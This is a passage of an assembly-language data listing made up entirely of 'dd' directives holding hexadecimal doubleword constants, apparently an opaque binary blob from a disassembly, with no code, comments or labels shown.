0D9C088F5h, 6F7432F9h, 0F33DC1BCh, 0CEFFEEEEh dd 5AFF0CF8h, 3B0669EAh, 47E40227h, 4BBEC0F4h, 0D645F6C5h dd 89B6E38Bh, 0A367AFCCh, 4BA9065Eh, 5F75C976h, 77112353h dd 0D60C1EF0h, 0A1B58331h, 3846CFF8h, 9BA19041h, 33E390F5h dd 0FF318CD0h, 4038530Eh, 0C04633Ch, 76529589h, 4DFB24A0h dd 6A82F52h, 0C0DC8BF6h, 3E98B539h, 6D73796Fh, 31ED779Bh dd 52C5A50Fh, 1741559h, 0E3B3A7C6h, 0BC7EE8E4h, 0F6608CFDh dd 7795181Ah, 0B60A61FDh, 6D4B8D7Fh, 525A2068h, 4D36EE67h dd 0B302C9D5h, 33C7BE6Eh, 2FFE46E7h, 81A4227Ah, 233D8798h dd 1428EEC4h, 924FB051h, 290776ACh, 0E0E84754h, 0ED2AB8FFh dd 75249A48h, 59D43BE2h, 82882F19h, 0C8A9660Eh, 68E4F8BFh dd 0E9F7CC86h, 87BE11A8h, 94A0D7A0h, 55CB08CBh, 57EF0CFh dd 5B554D27h, 0DF06160Ch, 492BD6Ch, 0EE256634h, 2DC32769h dd 62C0C7EBh, 184E7287h, 0C4FDCD1h, 88314C1Dh, 291564DFh dd 0C007C85Eh, 0C98934C5h, 5285675Bh, 25457F06h, 0FD9817DFh dd 5567C939h, 851103D8h, 0F4B2EB3Bh, 0FC26E546h, 7BF60B20h dd 0F1304760h, 5CEEBA54h, 0D4E314C4h, 0F856B4B7h, 564A0072h dd 9D2EF51Ah, 1828BD2Fh, 49D1EF9Fh, 0CCFBC51Dh, 0BAED54F0h dd 0A3595835h, 151C87FAh, 88418EB6h, 0DE2D489Bh, 3BF20844h dd 0C3CD75FEh, 846EC9A8h, 0C8582CEFh, 3227D01Fh, 6CCF723Ch dd 0E50A45BAh, 0D34B9412h, 2FFCEC49h, 0F7E5E6E2h, 74BD40C7h dd 9DBA4E5Dh, 0E61B4F1Eh, 0EC87FB42h, 59B0E341h, 24AEEB82h dd 48DE5D34h, 5C0CC80Fh, 0D9C6B588h, 0A1800C40h, 132A4458h dd 2A47B56Fh, 5A23630Eh, 0CD34336Bh, 5E048817h, 0A1AA4A0Dh dd 77CBEC80h, 0C4514574h, 0B5674B46h, 0E09B1F4Ah, 7DDFDF1Fh dd 0DBDFD94Bh, 14ACF448h, 95699191h, 0EBE23076h, 0CC1D2982h dd 0CF5AD88Dh, 0A3331C67h, 640A6ACh, 4FA7C841h, 0AC39EEA5h dd 0C2382561h, 0BCCD3F6Bh, 0B0335568h, 0BDBA0C40h, 59901726h dd 529FD678h, 79F6ED47h, 0DF9BD62Ah, 0ECADFCFEh, 0D1D607BCh dd 0E4EC809Dh, 14FFCBFh dd 19DB2C04h, 7BFB7DAEh, 0DA8E8873h, 5FF05A4Dh, 0C8D9CEABh dd 0F68B6B9h, 7DFDD8EEh, 24072AC5h, 0F808CFD8h, 54C89F6Fh dd 39C43CF1h, 8DCE8AC8h, 34EE8104h, 0EB4CA0B7h, 75A4152Bh dd 7EFA617Bh, 8DB2A210h, 449F3E39h, 0D2E4701Bh, 12A66DF7h dd 0CD165D2Ah, 0C1DAC42Dh, 5003F478h, 0D479A757h, 9B303CB3h dd 46E3C0E8h, 9C467F36h, 0BCBF46FAh, 8AF07EF0h, 320CABB9h dd 18F88EC7h, 4DC3EB4Dh, 0FD4B0A46h, 546A4263h, 0FFAE641Eh dd 404F049Fh, 5A9A4DC6h, 0B2304A86h, 0C3F05E90h, 0F21C4034h dd 0B6734091h, 951B0312h, 0AB676151h, 45384574h, 0D32CA18Eh dd 0BA1D0C9Ch, 83174659h, 0EE973AF1h, 0A8598670h, 0D897097Ah dd 0B846221Bh, 5AE97F80h, 108EFE28h, 0D6098D3h, 0A9D4DFAAh dd 455F67E6h, 761D666Bh, 6FE9EF16h, 0BF18FE1Bh, 6BE0C1A8h dd 92E18339h, 2EDEE126h, 74AA2A94h, 0E494D10Bh, 1D80A2D7h dd 7E683D69h, 4D912F62h, 6341B1F2h, 5B48B97h, 8DFC5F89h dd 4566F934h, 0F89D493Dh, 0C643098Bh, 0CB0F378Ch, 0BE603834h dd 0FABD5A06h, 0F1A9E570h, 0DB460611h, 17599CEBh, 0E9A35D7Eh dd 3250619Bh, 0FCE45E53h, 9E453C0Dh, 0CA320FE9h, 4D5C2F14h dd 411AAF44h, 0C20DD16Bh, 0F85C39A0h, 0FBC22D7Bh, 31C88B50h dd 21EA01ADh, 0F2794E97h, 51557949h, 0C2BDED45h, 0EC7BFAC5h dd 0BEAB5460h, 0EEBA3A87h, 4A850F29h, 4ED7065Eh, 4BF183F7h dd 6E177A4Ah, 0B64D50Ch, 0BFAB6DEAh, 15E70658h, 85EBE794h dd 952758FBh, 1A9D567Dh, 7DF1E841h, 0DD93CE51h, 960169DBh dd 95CB1312h, 8A73C7D2h, 52D7D65Ch, 8E015A4Eh, 86A00344h dd 1D305008h, 5C1CAA70h, 7B232B79h, 0B1B54141h, 2F78202Eh dd 5523078Fh, 0FE090E15h, 0FE1B81C9h, 9D7ED81Bh, 45B74EFDh dd 92AE8307h, 3F183F55h, 875565B0h, 0CB9929D4h, 0B7397C1Dh dd 5E597317h, 0E1BE1635h, 1F8DDDAh, 98F893F4h, 491AE79Ch dd 58A0642Ch, 0FBB297C5h, 48A3370Ah, 3AF98C5Dh, 0BCED8783h dd 0B69237E1h, 0E11F5F8h, 1BAB2E71h, 0BF635893h, 0A887C8A5h dd 0DBBD16D5h, 9BC0C6A6h, 39AFF3B2h, 0B3A5ECAEh, 0B575E1E3h dd 0F55F1DC3h, 0E44661D9h, 0CF804E54h, 0FEAB17AEh, 0C7B828FEh dd 0CF968B92h, 7DDA4AE7h, 0A93A11BEh, 0ABFE5305h, 0ABB00F5Dh dd 0B2FE9BC7h, 0EC265EC2h, 933C5DC8h, 8AFA8C78h, 0BCCB9365h dd 150EB251h, 0A63A0295h, 20495BBBh, 79D26C68h, 0BB026D03h dd 7C566054h, 980DEF1Dh, 317FDC28h, 0C555B08Dh, 96F28995h dd 0B9AE19F5h, 0D02944h, 7D1C3B63h, 8FDFD524h, 85E4362Fh dd 0B7BD8A3Ah, 2F71959Eh, 1F5BE2BAh, 140E54Fh, 56DFDEACh dd 54DEA06Ah, 4E679F5Eh, 5AC567C1h, 7F48D6AAh, 78C4651Ch dd 14D7378Dh, 20D7E471h, 0BC2DCF2Bh, 0CE827463h, 0AB45BA56h dd 0F779BB47h, 9CD1C08Eh, 0A1D2736h, 58A17686h, 922B2409h dd 4477E2ACh, 0EDD1B748h, 0CADD1359h, 2BAF9807h, 60244803h dd 0DEA5EC50h, 7501C35Ch, 8C38D28Ch, 6BCED625h, 0F14BF712h dd 6F7C4CBEh, 3336F17Bh, 11D3AE7Ah, 493846E1h, 9BBC662h dd 614E0853h, 492703E7h, 0E1D476CFh, 80A5C77Dh, 6D2DB1D6h dd 472561D9h, 2C9D83E5h, 41CB5CB6h, 7549B4E6h, 7E2D21Bh dd 0CA808F36h, 959D65E3h, 7307AA23h, 0F1CD783Dh, 405F2BB1h dd 0EC3F9D81h, 0B07ABD07h, 4A6DB808h, 0A816916Eh, 304257FAh dd 0D144E54Fh, 1F3D3DDCh, 8442595Dh, 4CC4E84Dh, 0E865AD5Fh dd 0CF35589Bh, 955B4375h, 0A122519Ah, 0DFC6F81Ch, 0D1AD27E3h dd 0E98B38BCh, 0BA6E4901h, 5C45ACDBh, 0EE2B3925h, 0FF98B5CDh dd 56C98D21h, 0D6BCE86Ch, 15ADF89Ah, 0B24E235Fh, 0B97BA192h dd 50E523C3h, 0E42C2C00h, 0A4445AF6h, 7794C959h, 0C4FFCDD9h dd 0E409B92Fh, 0E1931FF1h, 5BD65457h, 0D543E1DAh, 0F5A42D83h dd 75C3D635h, 5F2F0E5Dh, 12149343h, 5BFEFh, 0E6FA6201h dd 4420A0DDh, 20D2D148h, 708084B9h, 0B5D40D3Bh, 9ACAAD30h dd 0BE830828h, 9C5D01FAh, 40B64CE7h, 4FDD4260h, 0ED0BA20Ah dd 0D9EDFC20h, 0BBF947B2h, 63275DFh, 8D64D528h, 0BB8AAF98h dd 0E933E44Dh, 0D52193E8h, 0D3250B48h, 66D78F63h, 2195291Bh dd 189214AEh, 0ED4B10C0h, 66915DD5h, 3C98EC3Bh, 42A23A4h dd 0EA39BC80h, 0A9B1D701h, 0EB10F9AFh, 57CE4AA5h, 0B93859FAh dd 845717A0h, 30F0EFDAh, 5E4DF5A9h, 1872F3D4h, 0FD0A698Fh dd 15F0F7C9h, 818FF443h, 0F76FECCCh, 0BFCF6850h, 52507450h dd 28BA934Bh, 0EAD1FB4h, 0D0C129C8h, 9D8D44BCh, 0EB4A7B69h dd 9BB73183h, 0CF712DDEh, 1CC20BB3h, 2CCA67h, 0F3910763h dd 0AE8EA56Fh, 11743316h, 2024D0Ah, 0EA124EC8h, 9D36F8B5h dd 286CD166h, 4E76D89Eh, 323C71DFh, 69BCBAF5h, 39FB0A75h dd 8991D2EBh, 8411D337h, 81ED4367h, 1996ED60h, 5716E5F9h dd 9BB872D7h, 36F20C57h, 0B5A17D8h, 0C9800375h, 89332484h dd 547512ABh, 0A70CFF0Ah, 9E23B074h, 7C60A895h, 53D1B9F1h dd 0B8476F7Ah, 8D88735Ch, 72B34BACh, 0F952A056h, 0CE8164AEh dd 6E6DB3Eh, 93512D38h, 1E6C2545h, 33FA9120h, 0AF6DC636h dd 72A49D34h, 65C57BBDh, 40210CDh, 0E5E25DA4h, 6FAAC60Ch dd 0CCE35DCFh, 5B04859Bh, 1605F0D8h, 0AC292F63h, 0FF0B2EA1h dd 46B00C8h, 0DCC602D9h, 49E915C0h, 0BD9F5D97h, 2CBB7F14h dd 0EB15DC9Bh, 0FD49D62Ch, 9D52F728h, 0BD106A7Fh, 3FF11917h dd 0E78C7E34h, 0E021F93Ch, 0FE468341h, 0D74278D9h, 1C9560CEh dd 0E3CED24Eh, 0A67D8C29h, 5702A68Ch, 0DEF0895Fh, 2F1C2AA1h dd 7891FB5Fh, 0C4696BFDh, 0B95E0A95h, 0F71999BAh, 1E63369Bh dd 31128553h, 4E005CE7h, 0B0E123D3h, 0A4C35A94h, 95AD289Eh dd 68F36F49h, 0D7A8A903h, 73C56973h, 8E14FDE1h, 3268E37Ch dd 3A4A2FCFh, 0F3E11510h, 0E9594B76h, 42DFD37Eh, 2FB2DBBDh dd 6CF2ABFDh, 99EB2A60h, 12627809h, 59CE31A2h, 5D3E48D4h dd 15A04EE8h, 0E02ACA11h, 3F12E20Bh, 0AF171984h, 9B203551h dd 0A523FC7Ah, 619D83C0h, 91A5899h, 9A156030h, 3CD80297h dd 0DB9150C5h, 0B1BEC712h, 0A3E40847h, 0C19B4E07h, 85B4A62Ch dd 75A924Eh, 424E8DE7h, 2A70E3EBh, 78822221h, 2C6C72E8h dd 8397264Fh, 5ED4FF27h, 35A20C2Ah, 77CF68BDh, 86B12FEAh dd 2304CC86h, 349869C7h, 8E2E5679h, 40AB908Fh, 8853D029h dd 9DC36D21h, 0B06BF860h, 15741359h, 58AF399Eh, 0EA260EC5h dd 56B53090h, 2431123Ah, 0B02F2FFh, 3EF5625h, 0BCD02BE1h dd 129C5D63h, 0F1E38002h, 0DDB32D7Eh, 26EBD600h, 0FD9BA498h dd 89D9C715h, 0C4D7204Dh, 0F40437FDh, 7A590F06h, 10B7B5F7h dd 0C60F963Eh, 0F9D3D330h, 0D7DC6C8Ah, 0E4DA184Ch, 36D35C5Dh dd 0B122A9E2h, 949E1DACh, 0AEC21BBFh, 0C81731ECh, 19B331E0h dd 0B67C4D3h, 91B475EBh, 0CF98159Eh, 4A95DF50h, 911859EFh dd 0D134B661h, 0FB6E9EA7h, 6FAD4CF8h, 0C31D1CFEh, 0CCC2D183h dd 0B6A31C99h, 118C18DAh, 0DDD369B2h, 13E2CF05h, 0A1945538h dd 0FB219EF8h, 907815FDh, 0E667E59Dh, 7D1E8911h, 77FAE662h dd 362BAB90h, 67CD53BCh, 676AF8E9h, 98F4A48Ch, 86D0CDACh dd 4B28EA3Dh, 0AA7755D9h, 31134C1Fh, 81CD8115h, 7F48DF31h dd 4DB50445h, 0D852B769h, 15597D11h, 0AD517B65h, 0A9BDF4A8h dd 81763367h, 0AADCA186h, 0B381A287h, 19B4F0E0h, 0B163EF09h dd 878A074Ch, 5D8F4793h dd 429825F0h, 0B73D624Ch, 5316BFCAh, 0C4DCD4DAh, 8F604EB7h dd 0AD04FFCFh, 0A84089FEh, 6B687B47h, 59AD4A54h, 0AE3D20Ah dd 0E4F24FC7h, 0AA7A5E36h, 0C3F6A0D5h, 66F1BC1Ah, 0FC0BADAFh dd 20F06814h, 6C3928EDh, 0BF68EB4Ah, 0F3A6DAFDh, 5B43BCA1h dd 7258FAA1h, 7C3E4D02h, 5F0BF35Bh, 0E29CF884h, 70C1DDECh dd 0A9BD3724h, 9720970Eh, 79838B39h, 0D745AA51h, 0B283925Dh dd 0D0EB9032h, 4F61D3F1h, 0FEE0DF0Eh, 73E2782Fh, 695F8D65h dd 66AD3D95h, 36FABAC0h, 9B6F411Bh, 5EAA59AFh, 2354BCDBh dd 85406E6h, 0C6C995E7h, 911911AAh, 5D414FBCh, 0E96F310Eh dd 3FAC757Dh, 0CE858F80h, 7BB2A5A9h, 43E582CDh, 772410B5h dd 2DB8757Ch, 0E3139B56h, 0B18BA9B9h, 0D81AA0DFh, 905EE5F8h dd 0EE941898h, 0F0064614h, 974921FDh, 85CDB99Dh, 8DE7F005h dd 9647E5E1h, 0E9118D4Dh, 720B8E86h, 0E9D8C3BDh, 99A01721h dd 35A85236h, 0E872A65h, 955DA45Ah, 66964CDDh, 5B118B73h dd 0EDA9284Fh, 0F3C8C415h, 6320FB8Ah, 9B62131Eh, 94B2FEAEh dd 0DAC3B5A7h, 25A7FDABh, 0A1FA638Ch, 87D762CCh, 0E76E5D45h dd 8273030h, 4D32A030h, 0FCA720C1h, 0EA272E51h, 7769EC95h dd 0DFA1CD0Ch, 63933F13h, 0ABFE4C90h, 7777172Ah, 7AA8253Dh dd 225F3FCEh, 0FA9DE4EBh, 9352F0E5h, 44175F00h, 2D44D077h dd 81E71E3Bh, 0A0FA2C8h, 0B0CD6FE0h, 3A0E3844h, 0A67CC320h dd 0DF63D422h, 78D65343h, 5DE85090h, 0DC994A72h, 492C2D5Fh dd 6317AFE0h, 0B1FFB2C4h, 87EF385Fh, 0DF288DB6h, 0B2A22D59h dd 44EFE17Bh, 98A6B79Eh, 0BBA77DC8h, 0A774367Fh, 478A9E4Bh dd 8E978DD5h, 4D59BA14h, 27700968h, 2217F9A5h, 97AA8A32h dd 92BF6687h, 0F604AB8Ch, 0B428FF43h, 228E9271h, 966044AEh dd 0C942332Dh, 6DF86B68h, 0EB71523Fh, 9335CE56h, 23F0285Eh dd 282FCC17h, 0C57803Ah, 0B7BB8DCEh, 0D3A34E02h, 9605F6B2h dd 19EAD71Eh, 5AB9A373h, 5EF049CBh, 32AF1D99h, 0C5090A16h dd 8A327FC4h, 5E2CD6E5h, 9835C304h, 681789CFh, 0B0D3B57Ch dd 72C2EAEEh, 298B2E64h, 2915FC9Fh, 21FFC6A0h, 644AF4CCh dd 0C826C339h, 87F5310Ah, 0E63D3495h, 6054E0D7h, 0EF662462h dd 609C0111h, 0F5A00E5Dh, 0D7C63F57h, 115DAE1Eh, 85D50491h dd 0D8DAE1FBh, 0EFEABEEEh, 2F2006BEh, 975E1685h, 2FFEE76Bh dd 0C2D333D4h, 589B1B0Ah, 4A4835A0h, 0C02B99BFh, 0F3A73E1Ah dd 0F959498Fh, 0E9D46A40h, 0AA1632BBh, 9305B051h, 0BE7CF405h dd 0A4B49CE9h, 64873838h, 0FE3FEF23h, 0DFBB358Eh, 44A130A3h dd 8CFE367Eh, 5479882Ah, 3A1DFDE1h, 41083039h, 0AB3EC827h dd 20EA9D07h, 4FF86F5Ah, 541BB7E4h, 0FF955F5Dh, 7482D529h dd 0AAA37B9Fh, 0FDA84114h, 0E4EAB2F2h, 769BCFF7h, 0DAE78E0Bh dd 61896252h, 92AF3D83h, 11CBD2BEh, 6379BE55h, 8C8D29CFh dd 328D65D7h, 77EFECDEh, 0F6924188h, 56690F9Dh, 0BF4E3080h dd 0E3D038B1h, 6C2C1088h, 61E6B56Dh, 0E21BA68Dh, 0EEE2658Eh dd 834D31B8h, 40AAD8C1h, 4ACDE6B7h, 83EB4A59h, 5B7E4A1Bh dd 0B9C8F996h, 3274CA82h, 84EF7178h, 19AFF566h, 7BD7E5F9h dd 68DC3167h, 0E115EE94h, 0FAF60C2Ah, 18D8DAC9h, 607F0465h dd 0EA5362B2h, 0E397F6A7h, 0ED1305FDh, 0BA0D6B8Ah, 0B5DCE89Bh dd 1DBE1BB2h, 75700D70h, 4F1685B2h, 69538E72h, 0F507B2F9h dd 5D2B50CFh, 376673D1h, 454A50F5h, 0B2299FA0h, 59712B92h dd 92EAE1Dh, 7571603Ah, 816B9440h, 9C09A80Ah, 68688F2Dh dd 0A2C3B893h, 88FC07FEh, 7B4FB781h, 1BFCB8A2h, 875E0767h dd 384C4D75h, 104BEB8h, 0CD52738Dh, 204BF5E8h, 2CED98F7h dd 6851C40Dh, 59F7C86Ch, 0F0E36CFCh, 0E3A9DCD1h, 0D92B2B0Bh dd 9585975h, 0D4FB2250h, 8311969Ah, 38624D84h, 0B215C2D2h dd 74B66785h, 9122D6DDh, 0E6AA6D85h, 4302F631h, 730D0792h dd 55673C4Eh, 0AF35156Bh, 3505CDD2h, 44C869B6h, 5EA4BEE5h dd 7DF0C2ABh, 0CF9E498Fh, 1BF7FD86h, 0C4E86BB3h, 7E318723h dd 933DC72Eh, 0F53EDE2h, 578E3A1Bh, 270E411Dh, 0AB703022h dd 1E8BCEADh, 1C3F9273h, 0A682151Dh, 582EE557h, 0CA9CAC6Ah dd 52F8D14Eh, 1EA0CCDBh, 9FBDA1F2h, 43D84B76h, 829C86AEh dd 0D3530F44h, 2F13787Ch, 10B2A173h, 0B48FC141h, 8FF7DF86h dd 9CF4B6B9h, 26013DB3h, 3AD23F20h, 440CE97Eh, 5E986407h dd 3BE016C4h, 1D97F159h, 409F0E58h, 908B43B5h, 3AFBBBFCh dd 0B3C8A5D4h, 0C4402C39h, 72F190DBh, 0FB627E7Bh, 8E9F6975h dd 8ED23C47h, 0A6689F24h, 898BF64Eh, 3896EE9Fh, 49436301h dd 6DC35E96h, 82F9C39Fh, 0BF7BC39h, 320FD76h, 0A77F04Fh dd 6A96FBDBh, 862A9E7Dh, 4E288A6Dh, 3681DF6Ch, 0AE03208h dd 44D953F5h, 7C25153h, 0A1819804h, 2DE20FE6h, 3C4C98C9h dd 0BECB1537h, 0EC3F307Ah, 9856EA5Ch, 1321A70Ah, 0D0DB96E7h dd 59260CABh, 6D8530CDh, 0FCBD334Ah, 71B216BDh, 652E563Eh dd 53DD8296h, 6A1E6DEFh, 59364FA5h, 3A1B011h, 0D03CD0B9h dd 1DF13E6Ah, 5735559h, 0AAD6D54Ah, 99520B9Eh, 0B102F85Bh dd 5FDE0242h, 495CD40Fh, 0B9BF4EE6h, 44ECF6B8h, 8A04F9E6h dd 0F1C308F0h, 17F887DEh, 0B256DA0Eh, 4195FA31h, 0C1579702h dd 572B36B3h, 44EB3288h, 6F0D5BBFh, 0E2B20292h, 0BE0F64A2h dd 1116FFF4h, 0B5A9C58Ah, 0F168C37h, 9DB563CAh, 5627A7F2h dd 4B5CFE30h, 0A524CA7Dh, 21D826E6h, 0D5F24336h, 5DADD626h dd 0FBFA2B61h, 0AAB2C054h, 0AB8FDEB0h, 8D8DDA0Bh, 5A3D8952h dd 0FBD7114Fh, 49612C6h, 97F27301h, 3C9FF907h, 12AC8620h dd 9FB0D5E8h, 2921C93Fh, 8934633Dh, 0E88BCB8Eh, 0BCD48E6Ch dd 829AD93Bh, 0C2311E0h, 0FF7FF66Bh, 0BBC2E32Ch, 0F1FA21E6h dd 6C0FF0B3h, 0DE6C86DEh, 0F5CDE656h, 9BC123F1h, 0F3B6A967h dd 0C32C67Ch, 99FF92CCh, 327F42CBh, 569CAFB7h, 0C03BC83Ah dd 213C9EE8h, 69B6BAB9h, 795CD40h, 90507271h, 0D86D9AD1h dd 1C3BF479h, 82297414h, 746ABC4Bh, 320E1C72h, 67AB029Ah dd 6434E2FCh, 9A02D358h, 35CAFD04h, 2663FCDEh, 1FDB1049h dd 8408DC01h, 0F46DD69Fh, 39028EF3h, 0A3662306h, 0BE0A607h dd 948DD6B7h, 8E7A9FA3h, 0F3D660B4h, 1B59579Fh, 87B25127h dd 4B81253h, 0C7F7D5EEh, 0CCB2D3D8h, 36EFC1F2h, 3900F107h dd 0D91F64B0h, 597A06C8h, 0F20E8BB6h, 0AA154265h, 87A80BACh dd 2F562190h, 6D87D4C3h, 0D2357700h, 0BC171125h, 0BB649A9Eh dd 113DC520h, 6DF3E077h, 3A88434Eh, 0EB0DDFA9h, 0BD0A9CF6h dd 0A938F493h, 0CDDC6073h, 6E6726B4h, 0D2080404h, 2FA18429h dd 69DC68C2h, 0D2F12302h, 0AC4575EEh, 6A197549h, 0D1FBA484h dd 65D9DA4h, 4385BDF8h, 0D78065B1h, 3A1D0DD0h, 1A42EE00h dd 4BF8D6E8h, 0C6A6436h, 0C6CFBB0Dh, 0E5330386h, 0DF79F61Dh dd 0B62433F7h, 97C9FBDDh, 0B6D2BDEBh, 46D9C2FEh, 0F05A5D2h dd 0E8265902h, 6816F94h, 5AA74B7Bh, 6CCA078Fh, 0A1E84208h dd 0A0F15BEBh, 9CA9F51Dh, 466765F8h, 11E5584h, 308A4B3Dh dd 397B4E32h, 0D7B65115h, 0E5A4D8BCh, 0ED7D7272h, 2683C2D2h dd 0B1EAECE0h, 256DE5CDh, 0AD45BBBEh, 0EFB23D01h, 95B86115h dd 0A668695Dh, 35D3A02Ch, 0CBA29298h, 45AC6E33h, 0DD0CC8CFh dd 7220BD76h, 1FD3EFCCh, 0EF53CC80h, 67B702BEh, 4DFD8F31h dd 26EDD9A6h, 8DA7F5B5h dd 8D4CA61Bh, 0B8C8DCC7h, 28485EECh, 8429E348h, 0CCF4D196h dd 0A680F4E6h, 991A402Dh, 0E6C6E7DCh, 0A7301AF9h, 0FA0338FAh dd 0A448648Dh, 2539F604h, 0FCCC1EFCh, 3E2C8AE7h, 9C89EE1Fh dd 0CF5DD42Fh, 6A1A8185h, 1CF38EBDh, 0E15C2A9Bh, 0DE886654h dd 1C22083Ah, 1622B5Fh, 877363E7h, 720DC92Dh, 44AEE913h dd 8F7E6DCCh, 0FDBEB0AFh, 13F1EAA8h, 5F9CA877h, 5C43751Fh dd 0D4F36E24h, 9DFE622Ah, 0BDD913D8h, 49199885h, 705A9291h dd 0F818A9BDh, 0D4213EF5h, 1CB3DF16h, 8E779BD4h, 0B62BAC35h dd 0E0E1BBE9h, 5CDC82A7h, 9A13F98Bh, 0DC510F19h, 518A251Ch dd 0E30DDF83h, 0DCD40CF6h, 7E20EAD8h, 637BEF26h, 0B10D4525h dd 0B9DDF68Bh, 0E3EF08DCh, 0A0580752h, 46837602h, 5E611530h dd 59B8CE05h, 663D5BDBh, 201615C3h, 0E9654412h, 0BF4E916Bh dd 152BDEDEh, 0D132D389h, 88DCBDDBh, 987C825Ah, 212906ADh dd 19265FC1h, 0D89ED7BAh, 594DFC42h, 4D53036Ch, 73003DA8h dd 4DCE3BABh, 4CCD2678h, 40E1A973h, 85006C8Dh, 1746818Fh dd 0C24397D2h, 9F19791h, 3F01585Fh, 1C010273h, 9625C31Bh dd 0C5290F44h, 2B42049Dh, 10A8B90Ch, 0D7E73D68h, 0E167B97Bh dd 0AB2505CAh, 5432462Dh, 0C557D74Dh, 34B50921h, 7FF7CCD5h dd 8A9CDF41h, 9C1056ACh, 4DEB1E12h, 0A3AAF5E5h, 0E2799431h dd 43CEE618h, 9FB19481h, 0A7E28F47h, 44F22054h, 14CAEBE0h dd 2B0DD0FFh, 498B7A90h, 0BE9FD538h, 0EA276D3Ah, 1A084F1h dd 0E3FC0828h, 4A8F93E9h, 626023E4h, 67935472h, 9AF38D54h dd 5F338EBBh, 0FC9D09DBh, 0C161F0Eh, 7E48AF7Eh, 0F3FC7BAh dd 91A2B468h, 0AA46929Ah, 1CCC107h, 0E4873649h, 0A611D160h dd 6AE9E96Ah, 9DAC7AE5h, 7D6F82F6h, 0AD1366B9h, 7D0FE038h dd 9B4DA3A8h, 0EBCDECAh, 9729430Ch, 33E6B936h, 0C53F907Ch dd 6305F77Eh, 0FA6D7548h, 0B0131473h, 92495E06h, 5BE502FBh dd 15E29FF5h, 8FAF9085h, 0DF85D1C2h, 35DFC992h, 0B1ABC04Ah dd 29A0733Ah, 48DD31B3h, 95273355h, 0AE317C9Ah, 8FD302A5h dd 69EE7D44h, 0F03DE540h, 1E816783h, 24C2F8E1h, 6B12D9FAh dd 24E22EF4h, 3D9A6AC2h, 0FE1944B3h, 0FB7E396Bh, 5906C4E8h dd 3F6A5307h, 6EC77AC2h, 7C133D7Bh, 0F240479Ah, 6F7637E0h dd 8AC549B4h, 0EF4E0D0Ch, 0B4B67D4Ch, 0BB2210CEh, 0A4C287F6h dd 0C5C1D0DBh, 9AB0960Dh, 0D81A829Ch, 0C4C7B5ACh, 74BFABFDh dd 0C18D7204h, 69A80E95h, 92F1317Eh, 69D763C8h, 0FCE38AC2h dd 0A95D5322h, 738C8DD7h, 784443Ah, 0A18A176Ah, 17CAB53Fh dd 260E390h, 54F52651h, 0E724D1EEh, 0B8C5D960h, 38F0A94Ch dd 0A60474BDh, 0BD53E244h, 55D63449h, 0ABCF260Dh, 0CE1CABh dd 99A789F8h, 0FA26FFB6h, 0FCDA6629h, 965C41FDh, 0EAE81CABh dd 7189BDECh, 0FF02054h, 244CE7A4h, 0C323238Eh, 0F18AC3DBh dd 2FE4C610h, 876B7F55h, 0A6D303D3h, 13AE4B3Fh, 0BD38E16Dh dd 0A7112EAFh, 3BF024F5h, 0CCAFE6E1h, 7DC1A62Ah, 81BDEB37h dd 5509B7C3h, 0B881291Ah, 0E39B851h, 0C1105B4Eh, 57EE228h dd 773A70A8h, 12446B99h, 346D8D64h, 0DDF3372Eh, 0D70C6FBh dd 3CA1492h, 78669A9Fh, 3FAC583Ah, 5573FDF4h, 0FA7079FEh dd 39B089AEh, 31A8B5EEh, 4C42B80Dh, 14538A8Eh, 0B3206B5h dd 713479AFh, 191387A0h, 6BC6CFAEh, 6F0A26EFh, 6D2F5EA2h dd 0DBFE283Dh, 3C3D8B4Fh, 0C855E6F3h, 4789CDBAh, 0C35B435Eh dd 6ACCDD76h, 0B3955733h, 0E483B6D1h, 0E47916BAh, 9192BF5h dd 455078Ah, 724C5CFDh, 944A416h, 0C8F33767h, 89F1A94Fh dd 0C84014ACh, 0C74E239Fh, 5045588h, 65D28A7Ch, 0FEEA7FE1h dd 0B615FC39h, 9287E6DAh, 1AB86FE0h, 151EBB6Eh, 178B6ECEh dd 0D52591F9h, 3030EF68h, 2EE3FB3Ah, 21719920h, 0F9D5C0Fh dd 0A52BD624h, 8DEBFA26h, 0DEB6EB1h, 7674CDEDh, 9B1F5DC9h dd 38A376D0h, 1A25BB7Bh, 1E63E287h, 579AAFDEh, 0C0609E98h dd 64A6263Bh, 0C2B4EBDDh, 3C3F6590h, 6D2E231Ah, 1F894CF0h dd 0A9AF8B98h, 8B104050h, 6B527771h, 0C4D2B98h, 9A26FE18h dd 2FAD8C33h, 829F961Ah, 16855B3h, 666DB506h, 0DF3243ABh dd 13DF49C9h, 4E7C6E27h, 105D8D0h, 1003552h, 3A723936h dd 55C44EA9h, 74EF3A27h, 0D7A39436h, 36301481h, 16A27F31h dd 1C454196h, 0A99ED476h, 0D9E48271h, 0AE04A548h, 3392BBC3h dd 0E95AF323h, 60074BCAh, 486C2CDDh, 0E35C7E5h, 0F22ACC17h dd 0A455DE6Bh, 9150B027h, 0CDC1E629h, 0AE856086h, 0BDB16DE2h dd 0A7A64C53h, 0AEE6FFF6h, 0C0461DFEh, 6D0F4799h, 19591C5Ch dd 56779BBDh, 0CF5B37ADh, 6DC410D7h, 6D7CAFEBh, 0AFF1CB1Ch dd 0F4B6072Dh, 1965C677h, 0DEEACD52h, 2DCB832Ch, 0CF2A1F1Eh dd 0B3491A7Eh, 0BACA306Eh, 8BB4E95h, 1DDD1382h, 0DDAD59EDh dd 0D57AB7D7h, 0F56A9321h, 0CD642421h, 0E8A13F65h, 6064F21h dd 84708DA3h, 0FD4BB41Eh, 0EDA3358Bh, 4124441Bh, 9C81C926h dd 2075222Ch, 97860D44h, 297C05A1h, 52C9CECBh, 0DF25FC96h dd 48FF8458h, 3101A5B5h, 9681213Bh, 267EDCE3h, 0B3266884h dd 92A805DCh, 0E6BF05E4h, 70CA8C0h, 0B27D2D3Bh, 0A8FA8E23h dd 3C405B5Fh, 5AE2DF9Ch, 8B9CF876h, 0D2031C7Ch, 2439E19Dh dd 4F24902Dh, 74F58FA6h, 0FC25EBFAh, 9C0E97EEh, 890DD721h dd 4AF0673Ch, 0B83995DAh, 92E0D628h, 0AFE3FEAh, 1B6BDE3Ch dd 0DB36F06Fh, 78EEFA58h, 15C9226Dh, 0E9F65C70h, 3D513605h dd 0F032D2A5h, 64CA0C34h, 830FE912h, 0DEC71749h, 8FFB54E5h dd 0D0F3CC32h, 0D65F0B5Ch, 7B03328Bh, 16D5EAE3h, 7B6A2D42h dd 6C13789Ch, 0F90C13E3h, 487DE64Fh, 24DACD7Ah, 95D021D8h dd 8A8173C1h, 0BE54F877h, 48ADEA07h, 490CAF87h, 11BEC3E3h dd 145D18A7h, 0F709DBA0h, 3C4E26D0h, 6388D643h, 0EEBCCCE6h dd 